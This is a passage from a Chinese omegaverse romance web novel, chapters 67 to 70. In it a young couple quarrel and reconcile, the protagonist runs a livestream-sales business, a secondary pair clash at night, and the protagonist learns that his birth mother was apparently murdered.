景凉心口一阵闷疼,“你有没有想过,你的那些话太过荒谬了,任何一个有正确认知和判断的成年人,都不可能会相信。” “可我不会骗你,”卢绛嚅了嚅唇,没有将后半句‘难道爱不是无条件的信任’说出口。 景凉想了想,说道:“我相信你不会骗我。” 卢绛擦掉了脸上的泪水,缓缓转过身面对他,“嗯,我绝不会骗你。” 景凉心疼的捧着他的脸,轻揉着他脸上的湿痕,“我觉得,你需要去看一下心医生。” 过往刻意想要忘记的痛苦记忆,如潮水涌入脑海。 那些笃定的声音像是诅咒一般,在他的心口烙印。 【你有病!你是神经病!】 【0926病号,你该吃药了。】 【知道吗?像你这样的神经病就该呆在精神病院里!你有病!】 第67章 第67章 没什么,我还受得住,但是分…… 景凉看他脸色不对, 突然意识到什么,他赶紧解释道:“我不是说你……其实现在看心医生很正常,我之前刚上任公司董事时压力过大,也看过心医生, 阿绛?” 卢绛的声音是从未有过的冷硬, 语气很重:“我没有病。” 景凉凝住了呼吸,“我不是这个意思。” 卢绛起身下了床, 系上睡袍的带子, 回头若无其事道:“凉哥, 你先睡吧, 太晚了。” “你去哪?” “我去书房看会儿书。” “那你……”景凉想问他今晚还回不回房间睡,但人已经如一阵旋风般离开了卧室,不再给他开口的机会。 景凉扶额瘫倒在床上,瞪大着双眼没了睡意。 第一次看到卢绛这个模样, 很陌生, 像是另一个他不曾接触过的人。 他以为自己已经足够了解他了,或许他所了解到的, 只是卢绛想让他看到的。 真实的他, 到底是什么样子呢? 卢绛快步来到深夜寂静的院子,直到呼吸到微凉的空气, 仿佛溺水的人终于破水而出, 摆脱了要命的窒息感。 他独自一个人坐在院子的长椅上, 仰着脸看夜空那轮悬挂的明月。 他想, 他真的太差劲了! 千疮百孔的灵魂, 敏感又脆弱,甚至差点牵怒于景凉。 他完全处不好一段感情,再这样下去, 他的真面目迟早会暴露。 他以为勇敢踏出最艰难的一步,选择和景凉在一起,就算是越过千帆,苦尽甘来。 可是他错了,错得很离谱。 和他在一起是最容易的一步,因为他敏感与脆弱的内心,维系这段感情才是最难。 卢绛此刻陷入自责与疚愧循环中。 他刚才不该生景凉的气,他应该要好好说话,他的过往明明与景凉无关,他不应该把过往糟糕的阴影覆盖在景凉身上,那太恶心了! 出神之际,一只冒着白色热气的马克杯遮住了卢绛的视线。 卢绛猛地回头看去,景凉冲他微笑着不知何时站在了身后,“热可可,加了牛奶和榛子碎,喝了心情会变好。” “凉哥?”卢绛不安的接过眼前的马克杯,轻啜了口热饮,虽然很甜,但很香,不会让人觉得讨厌。 景凉捧着热饮坐到了他的身边,架着腿悠然的与他欣赏着同一轮圆月。 “我是不是太心急了?”景凉装佯喝了口热饮,问得若无其事。 卢绛拇指轻刮蹭着马克杯上的花纹,低垂着眸不敢看他,“不是你的问题,是我不好。” “你哪儿不好了?”景凉由衷道:“我觉得你挺好的,哪方面都很好。” 卢绛并没有被安慰到,反而不解:“我不好……我也不知道凉哥你到底喜欢我哪里?” “你很真诚啊,懂得尊重别人,谁说你性格不好的?我倒觉得你性格很好,对人很耐心,情绪很稳定,又不会乱发脾气。” 卢绛越听越郁结:“你说的,只是正常人都可以做到的,这根本不是什么优点。” 景凉无奈长叹了口气:“你到底是怎么被养大的?不要总是否定自己,你真的很好很优秀,难道你在怀疑我的眼光不行?” “你总有看走眼的可能。” “阿绛,人应该是往前看的,你不愿跟我说起你的过去我也能猜出来,你曾经生活在怎样的环境里,我不是说那些不重要,那些很重要,但那些也只是占比你生命很小的一部分,你的未来有无限大,所以不要被过往绊住脚步,将自己禁锢在方寸之地。” “你说的,我明白。”他很明白,可是有些东西不是说想忘记就能摆脱得了的,他无法控制。 “我很爱你……” 卢绛的心脏猛地缩紧,眼眶绯红地抬头看向他。 景凉的眼神无比坚韧,语气绝决:“因为我爱你,所以我会拿出百分百的耐性等你,可我并不喜欢这样,假如你一直陷入自我怀疑与自我否定的无限循环中,我也没有自信一直会有这样的精力去拉着你、拥抱你、给你自信,你懂我的意思吗?” 卢绛的心紧绞成一团,连呼吸都变得不顺畅。 景凉心疼的轻抚着他的脸,低声说:“我说过,你是我认定的唯一,是我选择的alpha,不管你以后是什么样子,我都会陪在你的身边;爱情很重要,但爱情也不是必须品,我现在还很乐意拉着你往前走,如果有一天累了,我会放开你的手,你可以停留在原地,或沉湎于过去的悲伤里,但这是你想要的未来吗?” 卢绛的泪水一下涌了上来,声音发哑,“我不知道能不能做好。” “没关系的,你可以慢慢地想,你才二十岁,人生还很长很长。” 卢绛现在的心情糟糕到了极点,消极负面情绪几乎要将他的智淹没,“如果我一直走不出来呢?” 景凉的眼神渐渐温柔,没了之前的锐利,“那也没关系,我说过不管你是什么样子,我都接受。” “我不接受……” “嗯?” 卢绛十指蜷起,低头哑声道:“那还不如干脆分开。” 豆大的泪水如雨滴一般砸落,卢绛乱了呼吸。 死一般的沉寂过后。 景凉真的生气了,这是第一次面对卢绛无力又愤怒,“你再说一次?” 卢绛嚅了嚅开涩的唇,没有勇气再将分开的话说一次,他终究是不舍也不想的。 “不要让我第二次听到分开这种话。”景凉语气里满是警告意味。 卢绛视线被泪水朦胧,无力地目送着他转身大步进了屋。 景凉心气不顺的将杯子用力放在了厨台,溅出了几滴黏腻的咖啡渍,他打开水笼头冲洗着手上的污渍,泄愤了用了几分力道,手被搓红才罢休。 他做了个深呼吸,连续加班十天都没像现在这样感觉累。 “小崽子真难带!” 怎么哄还哄不好,反而还跟他说不如分开?他敢分手试试! 景凉捂着隐隐作疼的胃,太生气了,气到极点真的会胃疼。 一夜未眠,景凉早上看到他睡在楼下大厅的沙发上,清晨的温度很低,他又折回卧室拿了一条厚实的毛毯给他盖上。 他没在家里吃早饭,出门前叮嘱阿姨不用急着做早餐,免得把他吵醒,等他醒了再给他做。 说完这些,景凉开车出门去公司上班了。 卢绛也没睡几个小时,上午十点醒了,在屋子里找了一遍发现景凉没在。 “卢少,你醒了?想吃点什么?” “阿姨,凉哥去上班了吗?” “是呀,去得好早,七点就出门了,没吃早饭走的。” 那他不是一晚上都没怎么睡? 见卢绛急匆匆的往楼上跑,阿姨喊了声:“不吃点东西了吗?” “不了!我出去买吃的。” 卢绛以最快的速度洗漱好换了衣服,开车赶去了景凉的公司。 虽然只来过一次,但是公司里的前台小姐姐一直记得他,第一时间给周助打了电话。 周助下来接的卢绛,专属电梯很安静,看他手里拎着徐记的茶点袋,不由笑道:“找小景总过来吃上午茶的?” “嗯,周助要一起吃吗?我买了很多。” “一起就算了,我等下分点就走,电灯炮太亮了!”周洲调侃了句。 卢绛难掩羞涩笑了笑,没再说话。 当看到周洲将卢绛领进来时,景凉怔愣了几秒,确实没想到他会来。 周洲拿了一块白糕糖转身笑得意味深长的走了,留下他俩独处。 景凉坐在办公桌前,抬眸注视着卢绛,也未说话。 卢绛乖巧的把茶点摆好,才探头去看景凉,看起来像知错的大狼狗,小心翼翼的摇尾探出一只爪子观望。 景凉被搞得没了脾气,放下了手里的文件,起身坐到了茶几前,拿起一份奶糕径自吃了起来。 见他肯吃自己带来的东西,卢绛才悄悄松了口气,跟着拿起一块白糕糖,漫不经心的细嚼着。 “什么时候回学校?”景凉突然问了句。 卢绛愣怔了两秒,赶紧回道:“今天,今天晚上要走。” “嗯。”景凉沉闷应了声。 “凉哥,对不起。” 景凉猛吸了口气,表面不显,只是说道:“没什么,我还受得住,但是分手这种话,以后不要再说了。” “对不起。” “下次回来,就去婚姻登记处登记吧!” “啊?” “怎么?你不想吗?” “会不会太仓促了?” 景凉没好气的将小调羹插在了奶糕上,“求婚的是你,送戒指的也是你,怎么?睡也睡了,玩也玩够了,不想永久标记,也不想婚姻登记,所以你是不想负责吗?” 卢绛紧张的解释道:“不是的,我肯定会负责,我只是觉得这样太委屈你。” “我不觉得委屈,停止你自以为是的为我好!我不需要。” “好,下次回来我们就去登记结婚。” 景凉心气这才平和了下来,抬眼观察着卢绛的小表情,忍不住问了句:“我这样是不是很强势?你要是不喜欢其实也可以说出来。” 吃了上次的亏,卢绛自然不会真的说不喜欢。 “没有,我喜欢你这么强势。” 景凉嘴角抑制不住上扬,胃口一下好了许多。 “晚上我送你去机场。” “不用了,我自己开车去机场就好。” “平时你不是都让我送吗?” 卢绛嗅到了一丝不悦的气氛,立马解释道:“我是心疼你。” “嗯?” “心疼你昨晚没睡觉,都来返多少次了?没必要再让你送,你晚上回去好好休息。” 大概是因为他一时冲动提了分手,景凉才会这样不安吧? “凉哥,我不会再说那样的话,真的,我一点儿也不想和你分开。” “那你过来抱抱我。” 卢绛起身过去将他紧抱在怀里,吻了吻他的额角。 第68章 第68章 才刚说再见,就开始想念。…… 之前的不愉快, 在这一秒不复存在。 下午景凉提前离开了公司,陪卢绛去了一家私房菜,好好吃了一顿饭。 吃完饭后的时间也没有耽搁,景凉坚持送他去了机场。 这次一走, 卢绛没那么容易回来了, 毕竟卢家的情况不乐观,陈家那边也不可能就此善罢甘休。 卢绛更担心景凉一个人在帝都, 更容易被陈家盯上。 “凉哥, 你一定要雇两个保镖暗中保护, 千万别大意!” “我知道, 小小年纪怎么这么爱操心?” “我……”卢绛后悔不己,“是我太冲动了,把这件事情做得过于明显,没有考虑到后果。” 如果景凉真因为他这次冲动而受到伤害, 他得心疼悔恨一辈子。 景凉揉了揉他的头发, 安慰道:“你没做错什么,别老是自责, 陈家还没有威胁到我的实力。” 此时机场广播响起了登机提示, 他该登机了。 “嗯。”卢绛不舍的给了他一个拥抱,“你要是不太忙, 可不可以早点来看我?” “你好好学习, 乖乖的, 我肯定早点过来看你。” “我很乖的。” 景凉不由失笑:“对, 阿绛最乖了。” 卢绛吻了下他的唇, 浅尝辄止,“我在南方等你。” 明明不是第一次分别,早该习惯才是, 可每一次的别离,景凉总觉得心里像是空了一块,慌得不行。 才刚说再见,就开始想念。 * 卢绛回到学校继续了忙碌的工作和学习状态。 虽说现在公司全权交给霍临在负责,但他身为公司最大股东和最高决策人有些事情还是需要经过他的手来决定。 卢绛白天基本都在上课,晚上线上与霍临商讨工作上的事情,有时候忙起来连景凉的消息也忘了及时回复,等弄完时已经很晚了。 周五终于得了半天空,卢绛下午去了一趟公司。 现在DL已经推出了好几个百万量级的主播,现在DL还没有全面线下放宽条件签约主播,现在能签上的给出的条件都很优渥,所以相对要求会高许多,今天下午又来了一批面试签约主播。 他们在网上发出的招投标项目,之前无人问津,在看到流量后,嗅觉灵敏的已经闻到了商机,现在营销部一天至少要刷选来自全国各地五十几个投标书。 签约主播直播室在五楼,卢绛出现的时候,他们还以为卢绛也是来应聘主播的。 这批前来应聘的主播良莠不齐,卢绛穿过T型走廊准备去找霍临,却被人给拦了下来。 “哥哥,你也是来应聘签约主播的吗?”十几岁的小姑娘仰着脸,一双黑葡萄样的大眼亮晶晶的看着他,模样看起来很单纯讨喜。 但卢绛不吃这一套。 “不……” 还没等他说完,小姑娘兴奋道:“我们组个搭档吧,这样能签上的可能就很大了。” “你不是应该才上高中的年纪吗?” “我偷偷跑出来应聘的。” 卢绛无意与她交流主播签约心得,就这样转身走了。 他一转身,小姑娘就变了脸:“长得帅了不起啊,这么拽!” 卢绛推门走进一个小房间,里面坐着几个项目组的负责人,其中一个是霍临。 看到卢绛过来,霍临起身揽过他的肩膀,笑道:“给大家介绍一下,这是咱们DL创始人兼万星现今的大boss卢绛。” 卢绛淡淡的打了一声招呼,不笑的时候很严肃,看起来不好相处,之前轻松愉快的氛围一下子紧张起来。 这小房间是个特殊房间,透过双面玻璃能全面观察主播室里的情况。 今天是一个百万粉丝主播第一次直播带货,在首页推了很多流量,目前效果还行。 开播一个晚上卖了五百多万。 霍临将显示着攀升着时实数据的平板递给了卢绛。 在所有人看来这个数据应该是很好的数据了,但卢绛似乎并不太满意。 平台给了她顶级的流量,虽然初始粉丝不多,但随着流量涌入涨的粉很快,这不算带货快的。 霍临疑惑:“不满意?” “我看一下这个项目的营销策划案。” 霍临问手下的人拿了营销策划案给他。 卢绛看完很快发现了问题,“国内中档品牌打七折到九折都很常见,品牌本身也没有特别的优势,中规中矩的营销手段浪费这个流量。” 霍临瞪着眼:“小老板,你要求是不是有点高?” 所有项目小组成员跟着用力点头。 卢绛:“策划案要重新做,有两个方案,打一折和饥饿营销。销售额先定一个小目标,比如一个亿。” “饥饿营销是什么?打一折??一个亿是?”项目组长叫出声来,紧张的抓了把头发,他说的不会是一个晚上一个亿吧?要死嘞! 卢绛看了眼腕表,已经十一点半了,加班到现在大家应该都很累,他想了想说道:“周六下午开组会,我会回去将几个营销念一份出来,以供大家参考,现在太晚了,都先回去吧,明天放半天假,下午两点打卡来公司。” 项目组长疑惑:“周六?那这边是要暂时停播几天吗?” 霍临无奈叹了口气:“你们小老板还要上学,平常没什么时间,今天这么晚过来也是赶着下课的时间。” 项目成员:“……” 卢绛表情严肃补了句:“还有,将最近所有的投标项目发我邮箱一份。” 霍临打了一个OK的手势:“我回去发你。” 散会后,项目小组成员和主播都离开了公司,霍临去水吧间冲了两杯咖啡,与卢绛边喝边走进了电梯。 “等这边项目稳定下来,我就转到游戏开发部那边负责荒野求生和几个网游的进度,得招几个相关的负责人进来管新媒体这边的正常运营,逐梦天娱的收购已经在交涉,他们的管制度还比较完善,公司干净没有债权债务问题,手中有好几个三四线的艺人。” “好。”卢绛点头,若有所思,“霍哥,你好像对游戏开发很执著?” 霍临眼底忽地升起几分狠戾与野性,“人嘛,从哪里跌倒就从哪里站起来,他们偷了我的东西,迟早有一天,我要让他们百倍千倍还回来!” “他们?” 霍临长舒了口气,尽量用平静的语气说起那段最难堪的记忆。 “现在市面上最火的那款网游‘问天’我是主设计人,包括游戏系统设计,游戏数值设计,游戏剧情脚本设计是我从高三毕业的暑假到大四这几年时间的心血,我的人生目标一直很明确,而且会为了完成目标……曾经也不择手段。” “我空有一腔热血、念、想,却没有钱。没有钱什么都做不了,所以为了钱我跟了崔少沛。”说到这里,霍临也不由对自己嗤之以鼻冷笑了声。 “谁知道崔少沛那个倒霉催的会破产?我的运气向来都不好,我甚至有时候会想,老天给我一次重来的机会,是用过去三十几年倒霉换来的。” “你根本想不到我在崔少沛身边有多恶劣,我要钱,一点也不加以掩饰,可他跟脑子有病似的不计成本往我身上砸钱,房子车子票子一样不少,我捞足够了,把他送的房子和车子都换了钱来做游戏,想着等游戏上市我就能甩了他,以后找一个我喜欢的omega。” 卢绛突然对崔少沛生出了几分怜悯,声音低哑道:“他不是脑子有病,他是爱你。” 霍临心脏狠狠疼了下,眼角泛红,“我知道,正因为知道,所以才能肆无忌惮啊!因为爱上我这样一个烂人,苦了一辈子,连到死都苦不堪言。” 卢绛语重心长道:“这辈子你对他好点,上辈子已经无法弥补,那这辈子别辜负他。” 霍临做了一个深呼吸,平静了下酸涩翻涌的情绪,又继续平静说道:“做游戏很烧钱,我手里一个多亿很快就烧完了,团队几个人熬不住背着我将游戏源代码和数据带走卖给了升越科技,我一个人怎么跟这么大的公司斗?他们威胁警告用几百万想打发我,我根本一点办法都没有,这个时候崔少沛也破产了……” “我们初见的那一天,是我破釜沉舟带着游戏源代码和计设策划案拉投资去的,我想得很简单,只要我拉到可靠的投资比升越科技早一步完善游戏上架,那我所有的心血还是没有白费!” “二十二岁的我,很天真吧?” “那些富二代并不缺好项目练手,他们什么都见过了,我像狗一样放低姿态讨好,他们灌我多少酒我都喝,只要能拉到投资让我做什么我都干!” “其中一个富二代把一只戒指丢进泳池,让我证明我的决心与诚意,只要能在五分钟内把戒指捞上来,他就给我这个机会。” “那天晚上如果不是遇到你,我应该是躺在医院的急救室里,差点没能救回来。” 霍临满眼血红的恨意,双拳紧握,身子止不住颤抖,咬牙道:“我怎么能甘心?!” “霍哥……” “你放心,我这个人以前虽然没什么良心,记仇,但是也记恩!”霍临郑重承诺道:“在我人生最绝望的低谷,你拉了我一把,这个恩我会用一辈子百倍千倍来偿还,永不背叛。” “我信你。”卢绛毫不怀疑,“这段时间你所有的努力与拼博我都知道,你很尽心尽力,公司要是没有你,也不可能发展起来,反倒是我……收购公司到现在项目进展,都没怎么过问。” 霍临在不意笑笑,“难道你出钱还不够吗?别想太多,到目前为止,我也只是做了自己的本份,感动留给以后,至少是我给你带来巨大的利益你再感动也不迟。” 第69章 第69章 养了你三年多,比你爹妈还负…… “好, 我等着。”卢绛心情澎湃,一天的疲惫仿佛都消失了,对未来充满了期待。 霍临看了眼时间,已经快到凌晨了。 “宿舍门禁过了吧?要不去我那里凑合一晚?” “我去酒店就行。” “怎么这么见外呢?小老弟, 走吧!” 霍临一把揽过他的肩膀往停车区带, 一路畅通无阻的回了公寓。 屋里一片漆黑,霍临先进屋打开了大厅里的灯。 茶几上有只马克杯, 他摸了下杯子, 还有余温。 “霍哥, 打扰了。” “你去睡我房间, 太晚了洗洗睡吧。” 卢绛:“那你呢?” 霍临一脸讳莫如深地将卢绛推进自己的房间,说了声晚安便利落的替他关上了门。 他心情不错的去敲了敲崔少沛的卧室门。 等了好一会儿,崔少沛一身懒慢开了门,面上不耐:“有事吗?” “有事啊, 我们小老板过来借宿, 收留我一晚?” “去睡沙发。”崔少沛无情的丢下这句话,用力甩上了门。 霍临一阵憋屈, 真是好没道, 怎么说房子借他住了这么久,收留他一晚怎么了? 霍临没走, 额头贴着冰冷的门板上, 像个耍赖的小孩:“崔少沛, 你开门啊, 我真的很困。” 室内传来一阵粗暴的怒斥:“滚!” “好好好, 崔少沛你别逼我!”霍临气炸了,又用力敲了几下门:“你别逼我跪下求你!崔总,求求你了, 养家糊口这么久,你心疼我一下吧。” “……” 卢绛仰躺在床上翻了个白眼,就知道霍临没这么好心把卧室让给他,他撮了两个纸团子,把耳朵塞了起来。 霍临贴着门板,里面没有动静。 他没在门外撒泼闹腾,而是换了苦肉计,期期艾艾:“五月的天,地板怎么还这么凉这么硬?以前我咳一声你都哄着叫我宝宝要多喝热水,现在你已经一点也不在乎我了,我……” ‘吱呀’一声门开了,崔少沛冷不丁的问了句:“你根本没跪?你骗我?” 崔少沛又要关门,霍临不要脸的挤身钻进了卧房,飞奔向他的床,拉上被子:“我困了。” 崔少沛心情复杂,对他耍赖的行为又不全然是恼怒,还有一种酸麻感从心脏发散蔓延四肢百骸。 霍临今晚回来得很晚,他就等了很晚,这段时间也没有去酒庄接他了,崔少沛想着,或许是外边有了新人。 霍临像只花蝴蝶招人,又是A+alpha,他看得上的,别人也一样会觊觎。 没破产的时候,他都拴不住这人,现在一无所有,就更拴不住了。 现在他整这一出,崔少沛只当他是心血来潮,知道他喜欢他,仗着他的喜欢存心作弄。 “霍临,”崔少沛站在床前盯着他假睡,绝望地问了句:“你看我是什么很贱的人吗?” 霍临也不装了,翻身睁开了眼,“怎么这么问?” “不是吗?因为从始至终没有放进心里,才总是为所欲为。” 霍临坐起身,深吸了口气,艰涩地问了句:“如果我说,我现在心里有你呢?” 崔少沛嘲讽一笑:“那应该是我身上还有你很想要的剩余价值?你想要什么?” 霍临烦躁的抓了把头发,他无法反驳,如果不是重活一世,现在的自己已经混帐事做尽,不留一丝余地。 他没替自己辩解,而是痞笑了声:“我发现,你还挺了解我。” 崔少沛嘲讽道:“养了你三年多,比你爹妈还负责,自然是了解的。” “其实……” “说吧,你想要什么?” “其实我挺寂寞的,夜里太冷了,以前你每晚抱着我睡觉,一年三百六十五天,一天不落的做,我还嫌你烦,我真是身在福中不知福……” “cao!闭嘴!”崔少沛猛地拿过枕头朝他那张俊脸捂了上去,然后给压实了,让他这张狗嘴再也吐不出一个字。 “唔唔唔……” “狗崽子,你tm再敢扯这些,我就捂死你!” 霍临拍了拍他的后背,表示自己知道了。 崔少沛脸红脖子粗的拿开了枕头,给了他一个警告的眼神。 霍临大口喘着气,他仰面看着崔少沛红着脸,眼底氤氲着泪光,不知是羞恼还是情动。 他长臂一捞,扣过崔少沛的后颈将他压向自己,猛地翻身压上,用力吻上了他的唇。 崔少沛挣扎得厉害,没法将他推开,于是狠狠给了他一巴掌。 霍临吃了疼,反而更疯了,他扣过崔少沛的下巴,强迫他张开嘴,唇舌交缠,alpha的信息素让崔少沛情动,智与本能在激烈的来回拉扯。 崔少沛的眼睛气得更红,曲膝用力顶了他一下,霍临像只被揍的狗崽子夹着尾巴疼得嗷嗷直叫,脸色煞白,“崔少沛……你真够狠的!” “下去!”崔少沛没收手,一脚将他踹下了床。 卢绛又撮了两团纸把耳朵都塞满,心中哀叹:“打得挺狠的,叫得也惨,就是不知道什么时候打完?还是凉哥温柔,从来不打我,好困……” 这番折腾下来,崔少沛没了脾气,关灯拉上被子睡觉,没再会霍临。 霍临畏手畏脚的爬上床,这会儿老实了,侧躺在崔少沛身边委委屈屈,“沛沛,我脸疼。” 你活该!崔少沛心中怒吼了声。 霍临闹腾累了,很快沉睡了过去,崔少沛反而没了睡意。 他打开床头的小灯,看了眼霍临脸上鲜红的五指印,大概是真把他打疼了。 崔少沛又有些不忍,悄悄起身找了药膏给他细致的抹上。 霍临睡着的样子很乖,那身桀骜不驯的痞劲儿不在,男大学生的青涩显现。 崔少沛用指尖戳了下他的唇,柔软温润的触感,让他想到之前那个无礼又粗蛮的吻,绯红漫延至耳根,“你要是一直这么乖就好了。” * 生活很平静且忙碌的过了一个多月,通过卢绛的营销方案,直播带货创造了一个又一个奇迹,许多濒临倒闭的工厂让出高额利润,想让卢绛这边帮忙,有些情况实在太差,虽不说起死回生,但是保底不亏,能让货物清仓卖完。 在给量的前提下,之前觉得一个晚上总销售一个亿太夸张几乎不可能完成,到现在一个晚上总销售一个亿,他们只会怀疑是哪里出了问题。 因为业务的拓展,DL开始全面开放招人和线下签约主播,霍临也离开了新媒体部门,转去了游戏开发部,遨游科技公司从总部独立出来专做游戏。 原先的万星科技依旧在导航AI等领域稳定发展,因为资金逐渐充足,继而开始新的项目,拿到了几个专利和参赛奖金。 对于卢绛来说,现今人生唯一不美的是他已经和景凉将近两个月没见了。 互相思念却又各自忙碌,甚至连回消息都不能同步。 他向院校递交了转学申请书,并没有把自己创业的那部分写上,除了校刊和fortune论文,他分数很好看,含金量足够了。 临近期末考的前一个星期,卢绛突然接到了卢父的来电,电话那边的声音尤其沉重,只是说了句:“不管在忙什么,务必回来一趟吧。” 之后卢父就挂断了电话,似乎不愿多说。 卢绛本来是想着考完再回去,这会儿他也顾不得这些了,当晚给景凉发了条他要回帝都的消息,便买了机票。 起飞之前,景凉回了条信息。 【景凉:我不太方便去接机,卢家应该会有人过去接你,到时候再联系。】 【卢绛:我爸态度很奇怪,太突然了,我想不到是什么事,凉哥,你有听到风声吗?】 【景凉:等你回来再说。】 飞机上的两个小时,对于卢绛来说太难熬了,明显景凉是提前得知了什么消息,但是因为某些情况不允许,或者不方便透露,所以才说等他回来? 到底是什么? 晚上十一点半,到了帝都国际机场,他看到乔秘书穿着黑色严谨的西装在外边等他。 卢绛上前打了一声招呼:“乔叔叔。” 乔秘书浅笑了下:“回来了,先上车吧。” “好。”卢绛跟着乔秘书走出机场,他特意坐到了副驾,好打探一点消息:“乔叔叔,这么紧急叫我回来,是有什么重要的事吗?” 乔秘书暗抽了口气,抿了下唇似乎在琢磨着要怎么说合适,“何家那边的追悼会,希望您能出席。” 卢绛瞳孔微张:“谁的,追悼会?” 乔秘书:“您的生母。” 卢绛十指下意识蜷曲,呆愣了很久才反应过来,巨大的悲伤将他淹没,她是个有私心的妈妈,可……她是爱过他的。 卢绛眨了眨干涩的双眼,不敢相信:“怎么会这么突然?我上次见她的时候,她身体还算健康。” “是入室抢劫,那天保姆阿姨不在,就出了这种事……卢少节哀。” 卢绛显得异常平静,很伤感,但是没有眼泪,默默无言跟着乔秘书来到了何家布置的灵堂。 在何家人的注视下,上前烧香拜了拜。 何家老太太七十多岁依旧精致,上前拉起卢绛的手,她的手苍白干燥,却很温暖,看着卢绛的时候神光是慈祥的。 “孩子,欢迎回家。” “这是姥姥。”乔秘书在他耳边小声提醒了句。 卢绛恍然,低声沙哑的喊了声:“姥姥。” 何老太太笑着点点头,“真乖!天太晚了,先去休息,明儿姥姥再带你认认人,乔秘书也辛苦了,您请回吧。” 第70章 第70章 小年青,体力就是好,身体素…… “我去送送乔秘书。”卢绛将人送到了院外。 乔秘书看向他的眼神带着几分怜爱与关怀, “头两天还要呆着的,您要实在呆不习惯,两天后我再过来接您回去。” “谢谢乔叔叔,没有不习惯, 太晚了您回去注意安全。” 乔秘书挥挥手:“回去吧, 我先走了。” “嗯。”卢绛站在门口目送他的车子离开,莫名有一点点心慌的感觉, 不过这感觉稍纵即逝。 他回了屋, 老太太正等着他, 然后将他领回了一间卧室。 卧室不算大, 但布置得干净整洁,柜台上摆放着的小玩意添了几分意境,能看出来是用了心的。 “姥姥,您坐。”卢绛扶着他坐到了一旁单人沙发上。 老太太目光深邃的打量着他, “你跟你妈妈长得不太像, 更像卢家那边的人。” 她没有用‘父亲’这两个字,似乎芥蒂颇深。 “你恨你妈妈吗?” 卢绛认真的想了想, 摇头, “不恨。” “真的?” “嗯,我不恨她。” “想不想看你妈妈以前的照片?” 卢绛怔愣了片刻, “有照片?” 老太太笑了声:“有的, 就在书桌右边那个抽屉里, 好几本相册。” “好, 我等会儿看。” “我听小月说, 你之前去看过她?” “是。” “她很高兴,打电话告诉我,一直在电话那边夸你长得很英俊高大, 又很有礼貌,说是考上了很不错的大学,成绩也很好。” 卢绛十指交扣,心脏紧攥了下,隐隐作疼。 “我不知道她打电话的事。” 老太太的表情突然变得严肃起来,“阿绛,有件事情姥姥不知道该怎么和你说,到底要不要说,姥姥已经半截入土的人了,做不了什么。” “您先说说是什么事,要怎么样我会自己判断,我已经二十岁了。” 老太太失笑,点了点头:“是,是姥姥太小瞧你。” 老太太酝酿了好一会儿,才说道:“你妈妈在遇害的两天前,给我打过一个电话,交待了一些事情。” 说着,老太太将一张银行存蓄卡拿了出来,递给了卢绛:“密码是526632,这是她留给你的遗产,比起卢家的家业,九牛一毛,但你还是收下吧。” 卢绛迟疑了片刻,双手郑重接过了她递来的存储卡,他握卡的手有些用力,卡片陷入掌心肉里,疼痛缓解了心脏的酸涩感。 “她的死不是意外?” 老太太惊讶:“你如何猜到的?” “不用猜,如果不是预知自己的死亡,她大概不会让您将这张卡交给我,她还说了什么?” “遇害前两天,凌晨一点多,她在电话里跟我说有人在窗外,她很害怕,还有,她让你小心卢家那对母子。” “这也太巧了,偏在她遇害的那一天,保姆阿姨有事回了老家,家里监控也是断线的,阿绛,这事没这么简单!” 卢绛暗叹了口气,看向老太太:“您希望我怎么做?” 老太太用力紧握着他的手,眼里满是血红色的恨意,“我希望你能替你妈妈报仇!” “警察那边怎么说?” “尸体当场就被拉走了,见都见不到,没过几天就定性成入室抢劫案,那么多的疑点,他们置若罔闻,除了卢家能一手遮天,还能有谁啊?!” 卢绛认真严肃道:“您放心,真相我是一定会查的,但我不敢保证会有结果,姥姥,您先去睡吧,我也困了。” “唇亡齿寒,阿绛,他们能对你妈妈动手,就一定也能对你动手,你没有别的选择,这事逃避不了的,我将你叫回来是有私心,希望你能替我的女儿报仇,但你也毕竟是她亲生的孩子,姥姥就算拼了这条老命,也会保护你!” 卢绛将她送出房间,从书桌的抽屉里拿出了那几本相册,坐在床沿翻看起来。 相片里的女人很漂亮,跟女明星一样,明艳动人,没有现实中的疲惫感,眼神也是很清澈的。 照片有她插花的样子,有她画油画的样子,有她跳舞的样子,还有弹钢琴的样子,拿着各种奖杯在镜头前笑得无比耀眼夺目的样子。 是个才女,长得漂亮还很优秀。 那为什么要自甘堕落做别人的情妇?还把自己磋磨成那个样子?卢佑铭值得吗?她明明能拥有更美好的人生。 卢绛想得出神之际,一旁的手机响了,是景凉的来电。 他赶忙接了电话,那端传来景凉温润的嗓音。 “那边情况如何了?” “不太好。” 景凉默了一会儿,说道:“你要是想哭……” “不,我不想哭。” “在我面前不用逞强。” “我不想哭,只是心里很难过,我哭不出来。” 卢绛顿了顿,又说:“将近二十年仅有一面之缘,没什么感情的。”说这句话的时候,卢绛的记忆与前一个世界的父母记忆重叠。 心脏袭来的闷痛感是真实的。 “要不要……我过来陪你?” 卢绛太想见他,智在思念成狂面前被击溃成渣,“不要在何家,我出来等你,去哪都好。” “好,你出来吧。” “啊?” 景凉浅笑了声:“我就在外面。” 卢绛什么也顾不上,心脏跳得厉害,提起背包几乎是飞奔出去的。 外边果然停着一辆黑色的小轿车,没有开车灯,隐在黑夜中并不显眼。 借着月光卢绛走了过去,车灯突然打开,照着前方的路。 卢绛透过挡风玻璃,看到了驾驶座上的男人,俊美明媚依旧。 他利落的拉开副驾驶座的门,钻进车里,因为见到恋人的喜悦,之前的悲伤暂时被压下。 他扑上前用力抱住景凉,埋在他脖子里深嗅了嗅,不是发情期信息素很淡,但是身上有香香的沐浴乳味道,好闻! “我好想你。” 景凉看着他的眼睛温柔得如四月回暖的春水,“我也是,怎么瘦了?没有好好吃饭吗?” “有好好吃饭的,但是实在太忙了,想得又多,饿得很快。” 景凉不由失笑摸摸他的头:“现在饿不饿?” “有一点饿。” “我不会做饭,带你去周助家里蹭宵夜去。” “会不会不太好?” “没什么不好的,自己人。”景凉拍拍他的后背,示意他放开。 卢绛稍微放开了他一点,目光黏糊的盯着他,情不自禁的吻住了他的唇。 景凉仰着脸迎合着,直到彼此呼吸凌乱,退开前卢绛还使坏的咬了下被吮得殷红的双唇,这才噙着满足的笑意,乖乖坐回了副驾驶座扣上了安全带。 景凉身体袭来的一阵热意久未散去,轻咳了下哑了的嗓子,假装认真开车。 卢绛时不时的扭头看他,目光掩不住的深情灼热。 好想抱着他,亲他,还有…… “吁——!”卢绛长舒了口气躺进椅子里,盯着车顶煎熬着。 “累了?”景凉没有发现卢狗脑子里想的黄色废料,一脸心疼,“我开快点,很快到了,吃完宵夜就在那睡下吧。” “周助家是什么房子啊?” “是城郊的小洋楼,他父母留给他的,有好些时间了。” “老房子,隔音效果会不会不好?” “嗯,可能会差点的。” 